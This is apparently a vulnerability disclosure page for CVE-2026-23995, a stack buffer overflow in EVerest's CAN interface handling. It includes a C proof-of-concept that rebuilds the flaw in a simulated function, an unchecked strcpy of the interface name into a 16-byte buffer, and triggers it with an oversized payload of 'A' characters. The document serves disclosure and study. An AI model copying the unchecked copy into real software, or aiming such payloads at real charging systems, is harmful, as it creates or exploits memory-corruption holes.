CVE-2026-23995：EVerest CAN接口栈溢出漏洞

/* * PoC for CVE-2026-23995 * This script demonstrates the vulnerability by attempting to trigger * a buffer overflow with an interface name longer than IFNAMSIZ (16 bytes). */ #include <stdio.h> #include <string.h> #define IFNAMSIZ 16 // Simulated vulnerable function based on the description void vulnerable_can_init(const char *iface_name) { char ifr_name[IFNAMSIZ]; // Vulnerability: No length check before strcpy strcpy(ifr_name, iface_name); printf("Interface initialized: %s\n", ifr_name); } int main() { // Create a payload larger than 16 bytes char malicious_payload[32]; memset(malicious_payload, 'A', sizeof(malicious_payload) - 1); malicious_payload[sizeof(malicious_payload) - 1] = '\0'; printf("[+] Triggering buffer overflow with payload length: %zu\n", strlen(malicious_payload)); vulnerable_can_init(malicious_payload); return 0; }